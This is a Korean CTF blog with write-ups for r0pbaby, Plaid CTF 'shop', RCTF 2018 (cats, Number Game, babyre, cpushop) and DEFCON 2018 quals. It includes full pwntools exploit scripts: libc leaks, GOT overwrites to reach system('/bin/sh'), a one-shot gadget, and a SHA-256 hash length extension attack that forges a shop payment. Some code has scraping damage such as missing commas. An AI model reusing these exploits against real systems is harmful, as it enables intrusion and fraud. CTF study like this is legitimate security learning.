Write-up

제목 그대로다.


magic gadget( 원샷가젯이라고도 한다.)이란 굉장히 편리한 가젯을 알게되어서 한번 r0pbaby에서 써보았다.

아래가 익스 코드... 사실 좀 필요없는 코드가 많긴한데, 그냥 가독성 좋으라고 함수로 추가해서 짜보았다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#!/usr/bin/env python
from pwn import *
import string
 
libc  = ELF("/lib/x86_64-linux-gnu/libc.so.6")
 
elf = ELF("./r0pbaby")
conn = process("./r0pbaby")
    
def get_func(func_name):
    conn.sendlineafter(":","2")
    conn.sendlineafter(":", func_name)
    conn.recvuntil(":")
    func_addr = conn.recvline().strip()
    func_addr = int(func_addr, 16)
    return func_addr
    
def oneshot_ret(addr, size):
    conn.sendlineafter(":","3")
    conn.sendlineafter(":",size)
    conn.sendline("A"*8+p64(addr))
    
print("")
oneshot_offset = 0x46428
 
conn.recvuntil("4) Exit")
system_addr = get_func("system")
 
offset = libc.symbols['system']
libc_base = system_addr-offset
 
oneshot_addr = libc_base + oneshot_offset
 
log.info("libc_base    : 0x%x " % libc_base)
log.info("system_addr  : 0x%x " % system_addr)
log.info("oneshot_addr : 0x%x " % oneshot_addr)
 
oneshot_ret(oneshot_addr ,"16")
conn.interactive()
 
cs

물론 평범하게 pop rdi 가젯 구하고 /bin/sh 문자열 위치도 구해서


"A"*8  |  pop rdi  |  &"/bin/sh"   |  system  


익스할 수도 있다. 뭐... 뭐가 편한지는 사람마다 다르니까 ㅇㅇ; 근데 원샷가젯이 한방에 풀려서 익스가 빨라서 좋긴하다... 굿굿

'Write-up > Pwnable' 카테고리의 다른 글

[34C3 CTF 2017] readme_revenge  (0) 2018.07.02
[Byte Bandits CTF] Tale of a Twisted Mind  (0) 2018.06.02
[Plaid CTF 2018] shop python solve code 2  (0) 2018.05.22
[Plaid CTF 2018] shop python solve code 1  (0) 2018.05.22
[CSAW '17 CTF] pilot  (0) 2018.04.30

code version 1


code version 2


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
#!/usr/bin/env python
from pwn import *
import string
 
lib  = ELF("/lib/x86_64-linux-gnu/libc.so.6")
#lib  = ELF("./libc.so.6")
elf = ELF("./shop")
conn = process("./shop")
 
def AddItem(item, description="nothing", price="1"):
    conn.sendlineafter("> ","a")
    conn.sendline(item)
    conn.sendline(description)
    conn.sendline(price)
 
def CheckoutAllItem(item_IDs):
    conn.sendline("c")
    conn.sendline(item_IDs)
    result = conn.recvuntil("TOTAL: $")
    total = conn.recvuntil(".")
    
    return (result, total[:-1])
    
def ListItem():
    conn.sendlineafter("> ""l")
    list = conn.recvuntil("> ")
    return list
    
def RenameShop(name):
    conn.sendline("n")
    conn.sendlineafter('Enter your shop name:', name)
    
conn.sendlineafter('Enter your shop name:'"myria")
 
for i in range(0,33):
    AddItem(str(i))
 
All_ItemIDs = cyclic(0x10000, alphabet='0123456789abcdef', n=4)
 
result, total = CheckoutAllItem(All_ItemIDs)
log.info("Checkout : %s" % total)
 
### fread leak!
fread_got = elf.got["fread"]
memmem_got = elf.got["memmem"]
log.info("fread.got : 0x%x" % fread_got)
RenameShop(p64(fread_got-44))
 
leak = ListItem().split("\n")[-2].split(" - ")[1]
leak = leak+"\x00"*(8-len(leak))
fread_addr = u64(leak)
 
### stdin leak!
stdin = 0x6020D0
RenameShop(p64(stdin-44))
 
leak = ListItem().split("\n")[-2].split(" - ")[1]
leak = leak+"\x00"*(8-len(leak))
stdin_addr = u64(leak)
 
 
### stdout leak!
stdout = 0x6020C0
RenameShop(p64(stdout-12))
 
leak = ListItem().split("\n")[-2].split(":")[0]
leak = leak+"\x00"*(8-len(leak))
stdout_addr = u64(leak)
 
fread_offset = lib.symbols['fread']
memmem_offset = lib.symbols['memmem']
system_offset = lib.symbols['system']
 
stdout_offset = lib.symbols['_IO_2_1_stdout_']
stdin_offset = lib.symbols['_IO_2_1_stdin_']
 
base_addr = fread_addr - fread_offset
memmem_addr = base_addr + memmem_offset
system_addr = base_addr + system_offset
stdin_addr  = base_addr + stdin_offset
 
log.info("%9s : 0x%x" % ("base_addr", base_addr))
log.info("%9s : 0x%x" % ("fread",fread_addr))
log.info("%9s : 0x%x" % ("memmem",memmem_addr))
log.info("%9s : 0x%x" % ("system",system_addr))
log.info("%9s : 0x%x" % ("stdout",stdout_addr))
log.info("%9s : 0x%x" % ("stdin",stdin_addr))
print("")
 
#malloc 
 
ghost = stdout-8
 
RenameShop(p64(ghost)+"@@@@"+"A")
 
result, total = CheckoutAllItem(All_ItemIDs[4:] + p64(stdout_addr)[:4])
log.info("Checkout : %s" % total)
 
print(result)
 
exploit  = "\x00"*8
exploit += p64(stdout_addr)
exploit += p64(0x0)
exploit += p64(stdin_addr)
exploit += p64(0x0)
exploit += p64(0x0)*32 ##checkout item
exploit += p64(memmem_got)
 
RenameShop(exploit)
RenameShop(p64(system_addr))
 
conn.sendline("c")
conn.sendline("/bin/sh")
 
conn.interactive()
 
 
 
cs


1. got영역에서 preItem 이 null이 되게하는 곳(Item갯수가 무려 35개가 되게할수가 있다.)

거기서부터 fread까지 덮어쓰고, fread다음에 있는 strlen의 값을 system함수의 주소로 덮어쓰는 코드


2. 이것말고 shopname을 주소를 bss영역으로 덮고 rename을 통해서 

bss영역을 덮어쓰면서 다시 shopname주소를 memmem의 got값으로 덮어써서 memmem got의 값을 변경시키는 코드도 있다. 



일단 전자.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
#!/usr/bin/env python
from pwn import *
import string
 
lib  = ELF("/lib/x86_64-linux-gnu/libc.so.6")
#lib  = ELF("./libc.so.6")
elf = ELF("./shop")
conn = process("./shop")
 
def AddItem(item, description="nothing", price="1"):
    conn.sendlineafter("> ","a")
    conn.sendline(item)
    conn.sendline(description)
    conn.sendline(price)
 
def CheckoutAllItem(item_IDs):
    conn.sendline("c")
    conn.sendline(item_IDs)
    result = conn.recvuntil("TOTAL: $")
    total = conn.recvuntil(".")
    
    return (result, total[:-1])
    
def ListItem():
    conn.sendlineafter("> ""l")
    list = conn.recvuntil("> ")
    return list
    
def RenameShop(name):
    conn.sendline("n")
    conn.sendlineafter('Enter your shop name:', name)
 
def MakeALL_2byte_ItemIDs(k, n):
    """
    de Bruijn sequence for alphabet k
    and subsequences of length n.
    https://en.wikipedia.org/wiki/De_Bruijn_sequence
    """
    try:
        # let's see if k can be cast to an integer;
        # if so, make our alphabet a list
        _ = int(k)
        alphabet = list(map(strrange(k)))
    except (ValueError, TypeError):
        alphabet = k
        k = len(k)
    a = [0* k * n
    sequence = []
    def db(t, p):
        if t > n:
            if n % p == 0:
                sequence.extend(a[1:p + 1])
        else:
            a[t] = a[t - p]
            db(t + 1, p)
            for j in range(a[t - p] + 1, k):
                a[t] = j
                db(t + 1, t)
    db(11)
    return "".join(alphabet[i] for i in sequence)
    
    
conn.sendlineafter('Enter your shop name:'"myria")
 
for i in range(0,33):
    AddItem(str(i))
 
"""
All_ItemIDs = MakeALL_2byte_ItemIDs("0123456789abcdef", 4)
All_ItemIDs = All_ItemIDs[:65540]
"""
All_ItemIDs = cyclic(0x10000, alphabet='0123456789abcdef', n=4)
 
result, total = CheckoutAllItem(All_ItemIDs)
log.info("Checkout : %s" % total)
 
### fread leak!
fread_got = elf.got["fread"]
log.info("fread.got : 0x%x" % fread_got)
RenameShop(p64(fread_got-44))
 
leak = ListItem().split("\n")[-2].split(" - ")[1]
leak = leak+"\x00"*(8-len(leak))
fread_addr = u64(leak)
 
fread_offset = lib.symbols['fread']
strlen_offset = lib.symbols['strlen']
printf_offset = lib.symbols['printf']
fgets_offset = lib.symbols['fgets']
memmem_offset = lib.symbols['memmem']
system_offset = lib.symbols['system']
 
base_addr = fread_addr - fread_offset
strlen_addr = base_addr + strlen_offset
printf_addr = base_addr + printf_offset
fgets_addr = base_addr + fgets_offset
memmem_addr = base_addr + memmem_offset
system_addr = base_addr + 0x046590
 
log.info("%9s : 0x%x" % ("base_addr", base_addr))
log.info("%9s : 0x%x" % ("fread",fread_addr))
log.info("%9s : 0x%x" % ("strlen",strlen_addr))
log.info("%9s : 0x%x" % ("printf",printf_addr))
log.info("%9s : 0x%x" % ("fgets",fgets_addr))
log.info("%9s : 0x%x" % ("memmem",memmem_addr))
log.info("%9s : 0x%x" % ("system",system_addr))
print("")
 
### _preItem Null, RandomID leak
pre_preItemIsNull_Item=0x602008
RenameShop(p64((pre_preItemIsNull_Item+8)-44))
 
leak = ListItem().split("\n")[-2].split(" - ")[1]
leak = leak+"\x00"*(8-len(leak))
pre_preItemIsNull_Item_ID = u64(leak)
log.info("preItemIsNull_Item+8(ID) : 0x%x" % pre_preItemIsNull_Item_ID)
print("")
 
#malloc 
RenameShop(p64(pre_preItemIsNull_Item)+"@@@@"+"A")
LastItemID = p64(pre_preItemIsNull_Item_ID)[:4]
 
result, total = CheckoutAllItem(All_ItemIDs[4:]+LastItemID)
log.info("Checkout : %s" % total)
print(result)
 
exploit  = "\x00"*(fread_got-pre_preItemIsNull_Item)
exploit += p64(fread_addr)
exploit += p64(system_addr)
 
RenameShop(exploit)
conn.sendline("sh;")
conn.interactive()
 
 
 
cs


RCTF 2018 Misc문제인 Number Game 풀이 소스이다.


writeup은 이쪽 (사용한 알고리즘 및 소스 원본은 이쪽)



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import hashlib
import string
import itertools
import time
from itertools import permutations
 
 
conn = remote('149.28.139.172'10002)
 
##bulls and cows solver
TYPE_MODE_TEST = 'TEST'
TYPE_MODE_DEBUG = 'DEBUG'
TYPE_MODE_GAME = 'GAME'
CONFIG_MODE = TYPE_MODE_GAME
 
CONFIG_POOL = ["0","1","2","3","4","5","6","7","8","9"]
CONFIG_NUM_DIGIT = 4
 
POTEN = [] # POTENTIAL OF STRIKE, BALL PAIRS
#POTEN = [(0, 0), (0, 1), (0, 2), (0, 3), (1, 0), (1, 1), (1, 2), (2, 0), (2, 1), (3, 0)]
for s in range(CONFIG_NUM_DIGIT + 1):
    for b in range(CONFIG_NUM_DIGIT + 1):
        if s + b <= CONFIG_NUM_DIGIT:
            POTEN.append((s, b))
WIN_KEY = '%dS0B'%(CONFIG_NUM_DIGIT)
 
def is_allowed_number(number):
    _number = str(number)
    return len(_number) == CONFIG_NUM_DIGIT and \
           len(set(_number)) == CONFIG_NUM_DIGIT and \
           all(int(i) in CONFIG_POOL for i in _number)
 
SET_POOL = set(CONFIG_POOL)
ALL_NUMBERS = [int(''.join(number)) for number in permutations(CONFIG_POOL,4)]
 
#print(ALL_NUMBERS)
CONFIG_POOL = [0,1,2,3,4,5,6,7,8,9]
 
TEST_ACCELERATION_INDEX = {}
def get_to_index(SB_history):
    a = TEST_ACCELERATION_INDEX
    for key in SB_history:
        if key not in a:
            return None
        a = a[key]
    return a['Q']
 
def set_to_index(SB_history, new_question):
    a = TEST_ACCELERATION_INDEX
    for key in SB_history[:-1]:
        a = a[key]
    a[SB_history[-1]] = {'Q': new_question}
 
def calc_s_and_b(q, a):
    _q = str(q).rjust(4'0')
    _a = str(a).rjust(4'0')
    s = 0
    b = 0
    for i in range(CONFIG_NUM_DIGIT):
        if _q[i] == _a[i]:
            s += 1
        elif _q[i] in _a:
            b += 1
    return s, b
 
def calc_pool(q, s, b, pool):
    result = 0
    _q = str(q)
    for a in pool:
        _s, _b = calc_s_and_b(_q, a)
        if s == _s and b == _b:
            result += 1
    return result
 
def update_pool(q, s, b, pool):
    result = []
    _q = str(q).rjust(4'0')
    for a in pool:
        _s, _b = calc_s_and_b(_q, a)
        if s == _s and b == _b:
            result.append(a)
    return result
 
def calc_best_question(a_pool, history):
    q_pool = []
    before_count = len(a_pool)
    if before_count == 1:
        return a_pool[0], True
    before_count = float(before_count)
 
    duplicates = set()
    for q in ALL_NUMBERS:
        q_str = str(q).rjust(4'0')
        for i in CONFIG_POOL:
            if i not in history:
                q_str = q_str.replace(str(i), 'X')
        if q_str in duplicates:
            continue
        duplicates.add(q_str)
        q_pool.append(q)
 
    best = 0.0
    recom = None
    _q = 0
    dups = []
 
    if CONFIG_MODE == TYPE_MODE_DEBUG:
        print 'A Pool: %s'%(a_pool)
    for q in q_pool:
        result = {}
        cache = {}
        total = 0.0
        for s, b in POTEN:
            remain_count = calc_pool(q, s, b, a_pool)
            if remain_count == 0:
                continue
            total += remain_count
            key = '%dS%dB'%(s,b)
            cache[key] = remain_count
            result[key] = remain_count
 
        is_duplicate = False
        for dup in dups:
            if dup.keys() == cache.keys():
                check = []
                for key in cache:
                    check.append( cache[key] == dup[key] )
                if all(check):
                    is_duplicate = True
                    break
 
        if is_duplicate:
            continue
        dups.append(cache)
 
        if CONFIG_MODE == TYPE_MODE_DEBUG:
            print 'Answer: %s'%(q)
        score = 0.0
        for key in sorted(result.keys(), key=lambda x: result[x], reverse=True):
            probability = result[key] / before_count
            if key == WIN_KEY:
                score += probability * (before_count - result[key] + 1/ before_count
            else:
                score += probability * (before_count - result[key]) / before_count
        score *= 10
        if CONFIG_MODE == TYPE_MODE_DEBUG:
            print 'Score: %.2f'%(score)
        if best < score:
            best = score
            recom = result
            _q = q
 
 
    if CONFIG_MODE == TYPE_MODE_DEBUG or CONFIG_MODE == TYPE_MODE_GAME:
        guessNum = str(_q).rjust(4'0')
        guessNum = guessNum[0]+" "+guessNum[1]+" "+guessNum[2]+" "+guessNum[3]
        #print(guessNum)
        conn.sendline(guessNum)
        print 'Recommend Answer: %s'%( guessNum )
    result = recom
    score = 0.0
    for key in sorted(result.keys(), key=lambda x: result[x], reverse=True):
        probability = result[key] / before_count
        if key == WIN_KEY:
            score += probability * (before_count - result[key] + 1/ before_count
        else:
            score += probability * (before_count - result[key]) / before_count
    score *= 10
    if CONFIG_MODE == TYPE_MODE_DEBUG or CONFIG_MODE == TYPE_MODE_GAME:
        print 'Score: %.2f'%(score)
 
    return _q, len(result) <= 1 # FINISH
 
def interactive_game():
    pool = ALL_NUMBERS
    history = set()
    count = 0
    while True:
        q, is_finished = calc_best_question(pool, history)
        
        if is_finished:
            # START NEW GAME
            print 'Game Finished! Answer: %d, Question Count: %d'%(q, count)
            pool = ALL_NUMBERS
            history.clear()
            count = 0
            
            guessNum = str(q).rjust(4'0')
            guessNum = guessNum[0]+" "+guessNum[1]+" "+guessNum[2]+" "+guessNum[3]
            #print(guessNum)
            conn.sendline(guessNum)
            print(conn.recvline())
            return
            
        count += 1
        result = conn.recvline()
        if "Nope" in result:
            print(result)
        else:
            print(result)
            print 'Game Finished! Answer: %d, Question Count: %d'%(q, count)
            pool = ALL_NUMBERS
            history.clear()
            count = 0
            return
        result = result[6:]
        bulls, cows = result.split(",")
        
        s = int(bulls.strip())
        b = int(cows.strip())
        #print("s:%d b:%d" %(s,b))
        pool = update_pool(q, s, b, pool)
 
        # HISTORY UPDATE (USED NUMBER)
        for i in range(CONFIG_NUM_DIGIT):
            history.add(q % 10)
            q /= 10
 
 
alphabet = string.digits+string.ascii_letters
 
result = conn.recvline()
print(result)
 
shaHash=result.split(" == ")[1].strip()
 
prefix = result.split(")")[0].strip()
prefix = prefix.split("+")[1].strip()
print(prefix)
print(conn.recvuntil('Give me XXXX:'))
 
for cand in itertools.product(alphabet, repeat=4):
    cand = ''.join(cand)
    cand_word = cand+prefix
    cand_word = cand_word.encode('utf8')
    digest = hashlib.sha256(cand_word).hexdigest()
    if digest == shaHash: # and ord(digest[3]) >= 0xF0:
        conn.sendline(cand)
        break
 
level = 0
        
##stage1
conn.recvuntil("GLHF")
conn.recvline()
conn.recvline()
while(1):
    if level == 8:
        print(recv)
        conn.interactive()
    level+=1
    recv = conn.recv(1)
    recv += conn.recv(1)
    recv += conn.recv(1)
    if "==" in recv:
        print(conn.recvline())
        conn.recvline()
    elif "Gi" in recv:
        print(recv)
    else:
        print(conn.recvline())
        conn.recvline()
    interactive_game()
conn.interactive()
 
cs



Misc 4개 / Crypto 1개 / Reverse 1개 / Web 0개 / Pwn 0개


위와 같이 문제풀고 마무리. Pwn 문제를 좀 더 풀고 싶었지만 heap overflow를 아직 몰라서(공부해야한다...) 풀지 못했다.


[Misc]Sign



간단한 문제다 IDA를 이용해 스트링을 살펴보면 FLAG를 찾을 수 있다.



RCTF{WelCOme_To_RCTF}




[Misc] git



git 관련해서 파일을 하나 주는데, 로그를 보면 하나밖에 없다. flag를 검색하면 뭔가 나오지않을까해서 Notepad++로 끌어다가 검색해보니 아니다 다를까

Flag라고 커밋해둔게 있다. git checkout을 해서 다시 되돌려주면 flag.txt를 얻을 수 있다.




굿..



[Misc] cats



꽤나 재미있는 문제였다. 주어진 url로 들어가면 아래와 같은 문구를 볼 수 있다.


I love cats! Can you find 15 cats for me ._.?

I'll save the cat food as file "food" and observe whether the outcomes of "cat food" and "eachCatNameYouProvided food" are exactly the same (including return code and trailing CRLFs). Download dockerfile to find cats locally, or you may find reCAPTCHA annoying.

dockerfile을 주는데, 어떻게 cats를 찾느냐. 이 dockerfile을 통해서 가상이미지 환경설정을 하고 그 컨테이너에서 cat들을 찾으면 된다.

도커(docker)는 컨테이너 기반의 오픈소스 가상화 플랫폼이라고 하는데, 자세한 건 검색하면 좋은 자료들이 많이 나온다.


참고자료 : 

https://subicura.com/2017/01/19/docker-guide-for-beginners-1.html

http://pyrasis.com/Docker/Docker-HOWTO#dockerfile


cat을 찾는 방법은 간단하다. 

명령어로 cat food했을때 나오는 결과와 eachCatNameYouProvided food라고 쳤을때 나오는 결과가 같으면 된다. (둘다 CRLF(\r, \n 등등)으로 끝마쳐 리턴해준다.)


예를 들어 tarcat이란 명령어가 있는데 아래와 같이 치면 둘다 같은 결과를 반환해주는 것을 알 수 있다.

cat: food: No such file or directory



이제 환경변수 PATH에 등록되어있는 곳에서 명령파일들을 하나하나 실행시켜가며 찾든가 하면 된다.

필자는 find 명령어를 사용해서 쓸만한 바이너리파일들을 모아서 cat과 비슷한 결과가 나오는 놈들을 찾게 코드를 돌려서 찾았다.




cat과 같은 결과를 내놓는 명령어들은 대부분 아래와 같다.

tarcat, tail, head, sort, shuf, fold, expand, paste, unexpand, iconv, bash, sh, rbash, erb, dash


RCTF{you_love_cats_dont_you}



[Misc] Number Game



넘버게임이라고 nc로 접속하게 되면, 게임에 들어가기 전에 proof of work를 해야한다.

주어진 sha256 해시값과 같은 해시값을 가지게 4자리 XXXX를 채워넣어주면 게임이 시작된다.


게임은 숫자야구게임으로 외국에서는 Bulls and Cows 라고 불리는 게임이다. 6번의 기회가 주어지고 중복없는 4자리 숫자를 순서에 맞게 맞추면 되는 게임이다. 자세한 룰은 이쪽에서 보면 좋다.(한글번역은 이쪽)


하드코딩해서 풀면 된다. Bulls and Cows solver 라고 검색해서 적당한 소스를 가져와서 문제의 조건에 맞게 수정해서 사용하였다.

소스가 길어서 따로 글을 작성해서 올렸다.


Solve.py



[Reverse] babyre


babyre라는 바이너리 파일과 out파일을 주는데, out으로 나온게 아마 암호화된 flag일 것이다.

babyre 파일을 분석해보면 처음에 문자열과 정수를 입력받고 "your input:try again"라는 문자열을 출력하고 다시 입력을 받는데


이때 입력한 문자들이 각각 인코딩되서 나오므로, 이를 이용해서 out을 디코딩할 수 있다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *
import string
 
 
 
alpha = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890!@#$%^&*()_+{}.,/'"
table = [alpha[i:i+30for i in range(0,len(alpha),30)]
print(table)
 
p_table = {}
 
for plain in table:
    conn = process("./babyre")
    conn.sendline("A"*32)
    conn.sendline(str(32))
 
    conn.sendline(plain)
    conn.recvuntil("try again")
    for i in range(len(plain)):
        #print(plain[i]+" :"),
        P = conn.recvline().strip().upper()
        p_table[P]=plain[i]
    conn.close()
 
= open("out"'r')
lines = f.readlines()
f.close()
 
flag = ""
 
for c in lines:
    if c[:8in p_table:
        flag += p_table[c[:8]]
    else:
        flag += "?"
    if c[8:16in p_table:
        flag += p_table[c[8:16]]
    else:
        flag += "?"
 
 
print(flag)
 
 
cs






[Crypto]cpushop


nc를 통해 들어가면 돈과 무엇을 할 수 있는 지 나온다.

문제소스는 여기 

cpushop.py




과연 cpushop이라 할만하다. List Items를 해보면 CPU들과 가격이 나온다.

그리고 9번째 항목을 보면 Flag도 팔 고 있는 것을 볼 수 있다. 물론 돈이 없어서 Flag를 살 수는 없다...


물건을 사려면 먼저 Order을 통해서 Items ID에 해당하는 구입증(?)을 발급받아야한다. 

만약 0번 제품인 Intel Core i9-7900을 산다고 하면 아래와 같은 코드에 의해서 출력된 것을 Pay에 입력하면 물건을 살 수 있다.


1
2
3
4
    payment = 'product=%s&price=%d&timestamp=%d' % (items[n][0], items[n][1], time.time()*1000000)
    sign = sha256(signkey+payment).hexdigest()
    payment += '&sign=%s' % sign
    print 'Your order:\n%s\n' % payment
cs



payment에 제품에 대한 정보가 들어가 있고, 그 제품정보들 앞에 signkey를 붙여 sha256으로 서명한 값이 payment뒤에 붙어 고객에게 전달되고,

그 값을 고객이 제출하면 샵에서는 payment에서 sign값을 파싱해 그 값을 가지고 payment에 대한 무결성을 검증할 수 있고 고객은 상품을 구입할 수 있다. 


만약 상품정보에서 price값을 낮게 설정하고 그 값에 대한 sha256 sign값이 있다면 Order을 통해서 상품구입이 가능하고 우리는 Flag를 구입할 수 있을 것이다. 참고로 Shop측에서 제품정보를 파싱하는 부분에서 취약점이 있는데 아래와 같다.


1
2
3
4
5
6
7
8
9
    for k,v in parse_qsl(payment):
        if k == 'product':
            product = v
        elif k == 'price':
            try:
                price = int(v)
            except ValueError:
                print 'Invalid Order!'
                return
cs


어디가 취약한지 알겠는가? 만약 payment과 다음과 같다면 어떻게 될 것 같은가..?


payment = "product=Flag&price=999&timestamp=15235&price=1"


기존의 payment 뒤에 price=1이라는 값을 붙여쓴것이다. 

만약 위와 같은 payment가 있다면 price값을 파싱할때, 처음 만난 price=999에서 price=999로 설정하고 계속 for문을 돌다가 마지막에 price를 또 만나 최종적으로 price=1로 설정되고 종료될 것이다.


그러므로 여기서 할 공격은 Hash Length Extension Attack이다!

github에 hash_extender라는 툴이 있으므로 이것을 이용해서 공격할 것이다.


(대회가 끝나고 몇달이 지난후, 우연히 다른 사람의 writeup을 보게 되었다. python 라이브러리중 hashpumpy라는 꿀툴이 있더라... ㄷㄷ;; 이걸 이용하면 좀 더 소스가 깔금해진다. )

https://ctftime.org/task/6126


참고로 우리는 signkey는 모르므로 signkey의 길이는 브루트포싱으로 맞춰줘야한다.



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
#!/usr/bin/env python
 
from pwn import *
import string
from subprocess import Popen, PIPE
 
#context.log_level = 'debug' 
#conn = remote('cpushop.2018.teamrois.cn', 43000)
conn = process(['python''cpushop/cpushop.py'])
 
def OrderItemFlag(id=9):
    conn.sendline("2")
    conn.recvuntil("Product ID:")
    conn.sendline(str(id))
    
    conn.recvline()
    payment=conn.recvline().strip()
    return payment
 
    
def SHA256_Extender(paym, sign, keylen):
    fake_price = "&price=1"
    keylen = str(keylen)
    
    command = './hash_extender --data "'+ paym +'" --secret '+keylen+' --append "'+ fake_price +'" --signature '+sign+' --format sha256'    
    popen = Popen(command, shell=True, stdout=PIPE)
    output, error = popen.communicate()
    
    New_signature, expanded_payment = output.split("New string: ")
    New_signature = "&sign="+(New_signature.split("New signature: "))[1].strip()
    expanded_payment = expanded_payment.strip().decode("hex")
    
    expanded_payment += New_signature
    return expanded_payment
    
def PayItem(payment):
    conn.sendline("3")
    conn.recvuntil("Your order:")
    conn.sendline(payment)
    conn.recvline()
    result=conn.recvline()
    return result
 
 
print(conn.recvuntil('Command:'))    
payment = OrderItemFlag()
 
paym, sign = payment.split("&sign=")
 
for keylen in range(8,32):
    print("keylen : " + str(keylen))
    conn.recvuntil('Command:')
    payment = SHA256_Extender(paym,sign,keylen)
    result = PayItem(payment)
    
    if "Invalid Order!" not in result:
        print(result)
        conn.interactive()
 
#conn.shutdown()  # Ctrl+D
conn.interactive()
 
"""
https://github.com/iagox86/hash_extender
./hash_extender --data "product=Intel Core i9-7900X&price=999&timestamp=1526710428630790" --secret 20 --append append --signature a3f3282990039a1cb6816c172b9e5d44308213c25d0c76d3d5dddfb627b2a0f8  --format sha256
"""
 
cs


'Write-up > CTF _ Write UP' 카테고리의 다른 글

[HITCON-Training] lab12 : secretgarden  (0) 2019.07.13
DEFCON CTF Quals 2018 Writeup  (0) 2018.05.14
[WriteUP] Byte Bandits CTF 2018  (0) 2018.04.10
[WriteUp] UIUCTF 2018 Writeup  (0) 2018.04.10

DEFCON CTF Quals 2018 Writeup

2018. 5. 14. 11:18

(Ordered by 368 teams) 


8개의 fragment가 주어지고 이 순서만 제대로 맞추면 elf파일이 정상적으로 작동할 것이므로 경우의 수는 8!=40320이다.

브루트포싱으로 공격하여 프로그램이 정상적으로 작동할 때까지 끼워맞추기를 하면 다음 순서로 이어맞출때 아래와 같이 출력된다.


'fragment_8.dat', 

'fragment_7.dat', 

'fragment_1.dat', 

'fragment_5.dat', 

'fragment_6.dat', 

'fragment_2.dat', 

'fragment_3.dat', 

'fragment_4.dat'



FLAG는 welc000me









(Ordered by 487 teams) 


크롬 개발자도구(F12)를 키고 이 문제를 열어보면 network에서 message부분에서 누락된 Flag를 확인 할 수 있다.


OOO{Sometimes, the answer is just staring you...}


짤려버렸고, 문제서버가 닫혀서 다시 확인해볼 수 없지만 아래와 같이 찾을 수 있다.










(Ordered by 190 teams) 


해당 Web에서는 openssl_sign을 이용해서 pdf의 서명 및 인증을 하고 있다. openssl_sign의 디폴트 알고리즘은 SHA-1으로 이는 취약함이 2017년 2월에 구글에 의해서 완전히 입증되었다. ( 충돌쌍을 누구나 만들 수 있게 소스 또한 공개되어있다.)


참고 사이트 : https://cpuu.postype.com/post/580053

서비스 사이트 : https://shattered.io/


그러므로 동일한 해시값을 가진 서로 다른 pdf를 생성할 수 있다.

echo flag라는 문자열을 포함하고 있는 pdf와 cat flag라는 문자열을 포함하고 있는 pdf를 동일한 해시값을 가지게 생성하고,


echo flag를 서명받아 그 값을 가지고 cat flag를 실행시킬 수 있다.



pdf_sha1collider github : https://github.com/nneonneo/sha1collider







(Ordered by 209 teams) 



5월 13일은 외국에서 어머니의 날이다. 어머니에게 전화나 메세지를 남기라는 문제로 유형도 human interaction이다.


어버이날에 한번 인사드렸지만 한번 더 감사해하며 Flag를 인증해주자.


 











(Ordered by 192 teams) 


문제 페이지에 들어가면 eval을 이용하여 코드를 실행시킬 수 있다.

flag binanry 파일을 실행시키면 되는데, flag파일은 현재 폴더에서 한단계 상위에 있으므로 ../flag를 실행시키면 되겠다.

eval을 이용해서 printf(1+1);을 실행시키는 것을 볼 수 있는데, system()함수 또한 실행되기 때문에 이를 이용해서 system("../flag");를 실행시키면 된다.











(Ordered by 55 teams) 



주어진 text 파일의 문자열을 "!"를 기준으로 알파벳 갯수를 세서, 이것을 문자로 치환하면 된다. (ex : m!yria! / 1개 -> a, 4개 -> d )


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/usr/bin/env python3
= open("text""r")
crypto = f.readline()
f.close()
 
print("Crypto : %s" % crypto, end="")
print("Plain  : ",end=""
cnt = 0
for p in crypto:
    if(p=='!'):
        print("%c" % chr(ord('a')+cnt-1), end="")
        cnt=0
    else:
        cnt=cnt+1
 
print("")
 
cs



flag는 dark`logic


